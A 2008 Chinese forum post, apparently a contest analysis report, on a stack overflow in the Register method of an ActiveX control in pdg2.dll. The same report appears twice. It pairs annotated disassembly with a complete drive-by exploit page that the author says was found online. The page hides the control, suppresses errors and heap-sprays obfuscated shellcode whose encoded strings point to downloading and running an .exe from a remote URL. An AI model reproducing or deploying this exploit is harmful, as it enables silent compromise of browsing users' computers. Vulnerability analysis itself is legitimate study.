-
-
[原创]xee的B题分析报告
-
发表于: 2008-1-1 22:07 21963
-
其实我不会分析activex的漏洞,胡乱整点,希望不要介意啊:)
提交者看雪ID:xee
职业:(学生、程序员、安全专家、黑客技术爱好者、其他?)
程序员
漏洞定位:
以前没有分析过activex的漏洞,所以我也不说我会定位这个漏洞,经过IDA分析,再加上google搜索,确定这是一个pdg2.dll的0day漏洞
漏洞描述及危害分析:
在网上我找到有漏洞的函数是[id(0x00000044), helpstring("method Register")]
HRESULT Register(
[in] BSTR RegCode,
[in] BSTR UserName,
[out, retval] long* pVal);
当传入的UserName超长时就造成栈溢出,当然网上是没有告诉细节的,通过IDA和ollydbg分析发现漏洞函数如下,
063201B0 55 push ebp
063201B1 8BEC mov ebp, esp
063201B3 81EC 00010000 sub esp, 100 //注意,分配的堆栈的0x100个字节,加上上面的push ebp,4个节字节,只要我们传入的数据长度为0x108个节节就会覆盖这个函数返回地址。造成溢出.
063201B9 8B45 0C mov eax, dword ptr [ebp+C]
063201BC 53 push ebx
063201BD 8B5D 10 mov ebx, dword ptr [ebp+10]
063201C0 56 push esi
063201C1 85C0 test eax, eax
063201C3 57 push edi
063201C4 75 1A jnz short 063201E0
063201C6 85DB test ebx, ebx
063201C8 75 1E jnz short 063201E8
063201CA 8B45 14 mov eax, dword ptr [ebp+14]
063201CD 8918 mov dword ptr [eax], ebx
063201CF 33C0 xor eax, eax
063201D1 8DA5 F4FEFFFF lea esp, dword ptr [ebp-10C]
063201D7 5F pop edi
063201D8 5E pop esi
063201D9 5B pop ebx
063201DA 8BE5 mov esp, ebp
063201DC 5D pop ebp
063201DD C2 1000 retn 10
06301990 56 push esi
06301991 8D91 811E0000 lea edx, dword ptr [ecx+1E81]
06301997 57 push edi
06301998 B9 40000000 mov ecx, 40
0630199D 33C0 xor eax, eax
0630199F 8BFA mov edi, edx
063019A1 F3:AB rep stos dword ptr es:[edi]
063019A3 8B7C24 0C mov edi, dword ptr [esp+C]
063019A7 83C9 FF or ecx, FFFFFFFF
063019AA F2:AE repne scas byte ptr es:[edi]
063019AC F7D1 not ecx
063019AE 2BF9 sub edi, ecx
063019B0 8BC1 mov eax, ecx
063019B2 8BF7 mov esi, edi
063019B4 8BFA mov edi, edx
063019B6 C1E9 02 shr ecx, 2
063019B9 F3:A5 rep movs dword ptr es:[edi], dword p>//这里就是把传入的数据写入堆栈,这里我们可以构造数据覆盖返回地址,造成溢出,哈哈
063019BB 8BC8 mov ecx, eax
063019BD B8 01000000 mov eax, 1
063019C2 83E1 03 and ecx, 3
063019C5 F3:A4 rep movs byte ptr es:[edi], byte ptr>
063019C7 5F pop edi
063019C8 5E pop esi
063019C9 C2 0400 retn 4
shellcode描述
请注明shellcode来源:原创,修改,引用。
原创请给出开发说明
修改请给出修改说明,并注明出处,附加被引用代码
引用请给出功能描述,并注明出处,附加被引用代码
网上搜索到的0day
<body>
<script>window.onerror=function(){return true;}</script>
<object classid="clsid:7F5E27CE-4A5C-11D3-9232-0000B48A05B2" style='display:none' id='target'></object>
<SCRIPT language="javascript">
var el1s2kdo3r = "hi1265369";
var shellcode = unescape(""+""+""+"%u9090"+""+""+""+"%u9090"+
""+""+""+"%uefe9"+""+""+"%u0000"+""+""+"%u5a00"+""+""+"%ua164"+""+""+"%u0030"+""+""+"%u0000"+""+""+"%u408b"+""+""+"%u8b0c" +
""+""+""+"%u1c70"+""+""+"%u8bad"+""+""+"%u0840"+""+""+"%ud88b"+""+""+"%u738b"+""+""+"%u8b3c"+""+""+"%u1e74"+""+""+"%u0378" +
""+""+""+"%u8bf3"+""+""+"%u207e%ufb03"+""+""+"%u4e8b%u3314"+""+""+"%u56ed"+""+""+"%u5157"+""+""+"%u3f8b" +
""+""+""+"%ufb03"+""+""+"%uf28b"+""+""+"%u0e6a"+""+""+"%uf359"+""+""+"%u74a6"+""+""+"%u5908"+""+""+"%u835f"+""+""+"%u04c7" +
""+""+""+"%ue245"+""+""+"%u59e9"+""+""+"%u5e5f"+""+""+"%ucd8b"+""+""+"%u468b"+""+""+"%u0324"+""+""+"%ud1c3"+""+""+"%u03e1" +
""+""+""+"%u33c1"+""+""+"%u66c9%u088b"+""+""+"%u468b"+""+""+"%u031c"+""+""+"%uc1c3"+""+""+"%u02e1"+""+""+"%uc103" +
""+""+""+"%u008b"+""+""+"%uc303"+""+""+"%ufa8b"+""+""+"%uf78b"+""+""+"%uc683"+""+""+"%u8b0e"+""+""+"%u6ad0"+""+""+"%u5904" +
""+""+""+"%u6ae8"+""+""+"%u0000"+""+""+"%u8300%u0dc6"+""+""+"%u5652"+""+""+"%u57ff"+""+""+"%u5afc"+""+""+"%ud88b" +
""+""+""+"%u016a"+""+""+"%ue859"+""+""+"%u0057"+""+""+"%u0000"+""+""+"%uc683"+""+""+"%u5613"+""+""+"%u8046"+""+""+"%u803e" +
""+""+""+"%ufa75"+""+""+"%u3680"+""+""+"%u5e80"+""+""+"%uec83"+""+""+"%u8b40"+""+""+"%uc7dc"+""+""+"%u6303"+""+""+"%u646d" +
""+""+""+"%u4320"+""+""+"%u4343%u6643"+""+""+"%u03c7"+""+""+"%u632f"+""+""+"%u4343"+""+""+"%u03c6"+""+""+"%u4320" +
""+""+""+"%u206a"+""+""+"%uff53"+""+""+"%uec57"+""+""+"%u04c7"+""+""+"%u5c03"+""+""+"%u2e61"+""+""+"%uc765"+""+""+"%u0344" +
""+""+""+"%u7804%u0065"+""+""+"%u3300"+""+""+"%u50c0"+""+""+"%u5350"+""+""+"%u5056"+""+""+"%u57ff"+""+""+"%u8bfc" +
""+""+""+"%u6adc"+""+""+"%u5300"+""+""+"%u57ff"+""+""+"%u68f0"+""+""+"%u2451"+""+""+"%u0040"+""+""+"%uff58"+""+""+"%u33d0" +
""+""+""+"%uacc0"+""+""+"%uc085"+""+""+"%uf975"+""+""+"%u5251%u5356"+""+""+"%ud2ff"+""+""+"%u595a"+""+""+"%ue2ab" +
""+""+""+"%u33ee"+""+""+"%uc3c0"+""+""+"%u0ce8"+""+""+"%uffff"+""+""+"%u47ff"+""+""+"%u7465"+""+""+"%u7250"+""+""+"%u636f" +
""+""+""+"%u6441"+""+""+"%u7264"+""+""+"%u7365"+""+""+"%u0073"+""+""+"%u6547"+""+""+"%u5374"+""+""+"%u7379"+""+""+"%u6574" +
""+""+""+"%u446d"+""+""+"%u7269"+""+""+"%u6365"+""+""+"%u6f74"+""+""+"%u7972"+""+""+"%u0041"+""+""+"%u6957"+""+""+"%u456e" +
""+""+""+"%u6578%u0063"+""+""+"%u7845"+""+""+"%u7469"+""+""+"%u6854"+""+""+"%u6572"+""+""+"%u6461"+""+""+"%u4c00" +
""+""+""+"%u616f"+""+""+"%u4c64"+""+""+"%u6269"+""+""+"%u6172"+""+""+"%u7972"+""+""+"%u0041"+""+""+"%u7275"+""+""+"%u6d6c" +
""+""+""+"%u6e6f"+""+""+"%u5500"+""+""+"%u4c52"+""+""+"%u6f44"+""+""+"%u6e77"+""+""+"%u6f6c"+""+""+"%u6461"+""+""+"%u6f54" +
""+""+""+"%u6946"+""+""+"%u656c"+""+""+"%u0041%u7468"+""+""+"%u7074"+""+""+"%u2f3a"+""+""+"%u702f"+""+""+"%u6369" +
""+""+""+"%u312e%u2e36"+""+""+"%u6776"+""+""+"%u532f"+""+""+"%u3633%u2f38"+""+""+"%u3353"+""+""+"%u3836" +
""+""+""+"%u2e32"+""+""+"%u7865"+""+""+"%u8065"+""+""+"%u0000");
</script>
<SCRIPT language="javascript">
var el1s2kdo3r = "hi1265369";
var bigblock = unescape(""+""+""+"%u9090"+""+""+"%u9090");
var el1s2kdo3r = "hi1265369";
var headersize = 20;
var el1s2kdo3r = "hi1265369";
var slackspace = headersize+shellcode.length;
var el1s2kdo3r = "hi1265369";
while (bigblock.length<slackspace) bigblock+=bigblock;
var el1s2kdo3r = "hi1265369";
fillblock = bigblock.substring(0, slackspace);
var el1s2kdo3r = "hi1265369";
block = bigblock.substring(0, bigblock.length-slackspace);
var el1s2kdo3r = "hi1265369";
while(block.length+slackspace<0x40000) block = block+block+fillblock;
var el1s2kdo3r = "hi1265369";
memory = new Array();
var el1s2kdo3r = "hi1265369";
for (x=0; x<100; x++) memory[x] = block +shellcode;
var el1s2kdo3r = "hi1265369";
var buffer = '';
var el1s2kdo3r = "hi1265369";
while (buffer.length < 1024) buffer+="\x05";
var el1s2kdo3r = "hi1265369";
var ok="1111";
var el1s2kdo3r = "hi1265369";
target.Register(ok,buffer);
var el1s2kdo3r = "hi1265369";
</script>
</body>
<mEtA Http-Equiv="Content-TypE" content="TeXt/htMl; CharSet=Us-AsCiI" />
exploit运行截图
可以造成程序崩溃,呵呵
稳定性与通用性论证
创新性论证(可选)
提交者看雪ID:xee
职业:(学生、程序员、安全专家、黑客技术爱好者、其他?)
程序员
漏洞定位:
以前没有分析过activex的漏洞,所以我也不说我会定位这个漏洞,经过IDA分析,再加上google搜索,确定这是一个pdg2.dll的0day漏洞
漏洞描述及危害分析:
在网上我找到有漏洞的函数是[id(0x00000044), helpstring("method Register")]
HRESULT Register(
[in] BSTR RegCode,
[in] BSTR UserName,
[out, retval] long* pVal);
当传入的UserName超长时就造成栈溢出,当然网上是没有告诉细节的,通过IDA和ollydbg分析发现漏洞函数如下,
063201B0 55 push ebp
063201B1 8BEC mov ebp, esp
063201B3 81EC 00010000 sub esp, 100 //注意,分配的堆栈的0x100个字节,加上上面的push ebp,4个节字节,只要我们传入的数据长度为0x108个节节就会覆盖这个函数返回地址。造成溢出.
063201B9 8B45 0C mov eax, dword ptr [ebp+C]
063201BC 53 push ebx
063201BD 8B5D 10 mov ebx, dword ptr [ebp+10]
063201C0 56 push esi
063201C1 85C0 test eax, eax
063201C3 57 push edi
063201C4 75 1A jnz short 063201E0
063201C6 85DB test ebx, ebx
063201C8 75 1E jnz short 063201E8
063201CA 8B45 14 mov eax, dword ptr [ebp+14]
063201CD 8918 mov dword ptr [eax], ebx
063201CF 33C0 xor eax, eax
063201D1 8DA5 F4FEFFFF lea esp, dword ptr [ebp-10C]
063201D7 5F pop edi
063201D8 5E pop esi
063201D9 5B pop ebx
063201DA 8BE5 mov esp, ebp
063201DC 5D pop ebp
063201DD C2 1000 retn 10
06301990 56 push esi
06301991 8D91 811E0000 lea edx, dword ptr [ecx+1E81]
06301997 57 push edi
06301998 B9 40000000 mov ecx, 40
0630199D 33C0 xor eax, eax
0630199F 8BFA mov edi, edx
063019A1 F3:AB rep stos dword ptr es:[edi]
063019A3 8B7C24 0C mov edi, dword ptr [esp+C]
063019A7 83C9 FF or ecx, FFFFFFFF
063019AA F2:AE repne scas byte ptr es:[edi]
063019AC F7D1 not ecx
063019AE 2BF9 sub edi, ecx
063019B0 8BC1 mov eax, ecx
063019B2 8BF7 mov esi, edi
063019B4 8BFA mov edi, edx
063019B6 C1E9 02 shr ecx, 2
063019B9 F3:A5 rep movs dword ptr es:[edi], dword p>//这里就是把传入的数据写入堆栈,这里我们可以构造数据覆盖返回地址,造成溢出,哈哈
063019BB 8BC8 mov ecx, eax
063019BD B8 01000000 mov eax, 1
063019C2 83E1 03 and ecx, 3
063019C5 F3:A4 rep movs byte ptr es:[edi], byte ptr>
063019C7 5F pop edi
063019C8 5E pop esi
063019C9 C2 0400 retn 4
shellcode描述
请注明shellcode来源:原创,修改,引用。
原创请给出开发说明
修改请给出修改说明,并注明出处,附加被引用代码
引用请给出功能描述,并注明出处,附加被引用代码
网上搜索到的0day
<body>
<script>window.onerror=function(){return true;}</script>
<object classid="clsid:7F5E27CE-4A5C-11D3-9232-0000B48A05B2" style='display:none' id='target'></object>
<SCRIPT language="javascript">
var el1s2kdo3r = "hi1265369";
var shellcode = unescape(""+""+""+"%u9090"+""+""+""+"%u9090"+
""+""+""+"%uefe9"+""+""+"%u0000"+""+""+"%u5a00"+""+""+"%ua164"+""+""+"%u0030"+""+""+"%u0000"+""+""+"%u408b"+""+""+"%u8b0c" +
""+""+""+"%u1c70"+""+""+"%u8bad"+""+""+"%u0840"+""+""+"%ud88b"+""+""+"%u738b"+""+""+"%u8b3c"+""+""+"%u1e74"+""+""+"%u0378" +
""+""+""+"%u8bf3"+""+""+"%u207e%ufb03"+""+""+"%u4e8b%u3314"+""+""+"%u56ed"+""+""+"%u5157"+""+""+"%u3f8b" +
""+""+""+"%ufb03"+""+""+"%uf28b"+""+""+"%u0e6a"+""+""+"%uf359"+""+""+"%u74a6"+""+""+"%u5908"+""+""+"%u835f"+""+""+"%u04c7" +
""+""+""+"%ue245"+""+""+"%u59e9"+""+""+"%u5e5f"+""+""+"%ucd8b"+""+""+"%u468b"+""+""+"%u0324"+""+""+"%ud1c3"+""+""+"%u03e1" +
""+""+""+"%u33c1"+""+""+"%u66c9%u088b"+""+""+"%u468b"+""+""+"%u031c"+""+""+"%uc1c3"+""+""+"%u02e1"+""+""+"%uc103" +
""+""+""+"%u008b"+""+""+"%uc303"+""+""+"%ufa8b"+""+""+"%uf78b"+""+""+"%uc683"+""+""+"%u8b0e"+""+""+"%u6ad0"+""+""+"%u5904" +
""+""+""+"%u6ae8"+""+""+"%u0000"+""+""+"%u8300%u0dc6"+""+""+"%u5652"+""+""+"%u57ff"+""+""+"%u5afc"+""+""+"%ud88b" +
""+""+""+"%u016a"+""+""+"%ue859"+""+""+"%u0057"+""+""+"%u0000"+""+""+"%uc683"+""+""+"%u5613"+""+""+"%u8046"+""+""+"%u803e" +
""+""+""+"%ufa75"+""+""+"%u3680"+""+""+"%u5e80"+""+""+"%uec83"+""+""+"%u8b40"+""+""+"%uc7dc"+""+""+"%u6303"+""+""+"%u646d" +
""+""+""+"%u4320"+""+""+"%u4343%u6643"+""+""+"%u03c7"+""+""+"%u632f"+""+""+"%u4343"+""+""+"%u03c6"+""+""+"%u4320" +
""+""+""+"%u206a"+""+""+"%uff53"+""+""+"%uec57"+""+""+"%u04c7"+""+""+"%u5c03"+""+""+"%u2e61"+""+""+"%uc765"+""+""+"%u0344" +
""+""+""+"%u7804%u0065"+""+""+"%u3300"+""+""+"%u50c0"+""+""+"%u5350"+""+""+"%u5056"+""+""+"%u57ff"+""+""+"%u8bfc" +
""+""+""+"%u6adc"+""+""+"%u5300"+""+""+"%u57ff"+""+""+"%u68f0"+""+""+"%u2451"+""+""+"%u0040"+""+""+"%uff58"+""+""+"%u33d0" +
""+""+""+"%uacc0"+""+""+"%uc085"+""+""+"%uf975"+""+""+"%u5251%u5356"+""+""+"%ud2ff"+""+""+"%u595a"+""+""+"%ue2ab" +
""+""+""+"%u33ee"+""+""+"%uc3c0"+""+""+"%u0ce8"+""+""+"%uffff"+""+""+"%u47ff"+""+""+"%u7465"+""+""+"%u7250"+""+""+"%u636f" +
""+""+""+"%u6441"+""+""+"%u7264"+""+""+"%u7365"+""+""+"%u0073"+""+""+"%u6547"+""+""+"%u5374"+""+""+"%u7379"+""+""+"%u6574" +
""+""+""+"%u446d"+""+""+"%u7269"+""+""+"%u6365"+""+""+"%u6f74"+""+""+"%u7972"+""+""+"%u0041"+""+""+"%u6957"+""+""+"%u456e" +
""+""+""+"%u6578%u0063"+""+""+"%u7845"+""+""+"%u7469"+""+""+"%u6854"+""+""+"%u6572"+""+""+"%u6461"+""+""+"%u4c00" +
""+""+""+"%u616f"+""+""+"%u4c64"+""+""+"%u6269"+""+""+"%u6172"+""+""+"%u7972"+""+""+"%u0041"+""+""+"%u7275"+""+""+"%u6d6c" +
""+""+""+"%u6e6f"+""+""+"%u5500"+""+""+"%u4c52"+""+""+"%u6f44"+""+""+"%u6e77"+""+""+"%u6f6c"+""+""+"%u6461"+""+""+"%u6f54" +
""+""+""+"%u6946"+""+""+"%u656c"+""+""+"%u0041%u7468"+""+""+"%u7074"+""+""+"%u2f3a"+""+""+"%u702f"+""+""+"%u6369" +
""+""+""+"%u312e%u2e36"+""+""+"%u6776"+""+""+"%u532f"+""+""+"%u3633%u2f38"+""+""+"%u3353"+""+""+"%u3836" +
""+""+""+"%u2e32"+""+""+"%u7865"+""+""+"%u8065"+""+""+"%u0000");
</script>
<SCRIPT language="javascript">
var el1s2kdo3r = "hi1265369";
var bigblock = unescape(""+""+""+"%u9090"+""+""+"%u9090");
var el1s2kdo3r = "hi1265369";
var headersize = 20;
var el1s2kdo3r = "hi1265369";
var slackspace = headersize+shellcode.length;
var el1s2kdo3r = "hi1265369";
while (bigblock.length<slackspace) bigblock+=bigblock;
var el1s2kdo3r = "hi1265369";
fillblock = bigblock.substring(0, slackspace);
var el1s2kdo3r = "hi1265369";
block = bigblock.substring(0, bigblock.length-slackspace);
var el1s2kdo3r = "hi1265369";
while(block.length+slackspace<0x40000) block = block+block+fillblock;
var el1s2kdo3r = "hi1265369";
memory = new Array();
var el1s2kdo3r = "hi1265369";
for (x=0; x<100; x++) memory[x] = block +shellcode;
var el1s2kdo3r = "hi1265369";
var buffer = '';
var el1s2kdo3r = "hi1265369";
while (buffer.length < 1024) buffer+="\x05";
var el1s2kdo3r = "hi1265369";
var ok="1111";
var el1s2kdo3r = "hi1265369";
target.Register(ok,buffer);
var el1s2kdo3r = "hi1265369";
</script>
</body>
<mEtA Http-Equiv="Content-TypE" content="TeXt/htMl; CharSet=Us-AsCiI" />
exploit运行截图
可以造成程序崩溃,呵呵
稳定性与通用性论证
创新性论证(可选)
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
赞赏
他的文章
看原图
赞赏
雪币:
留言: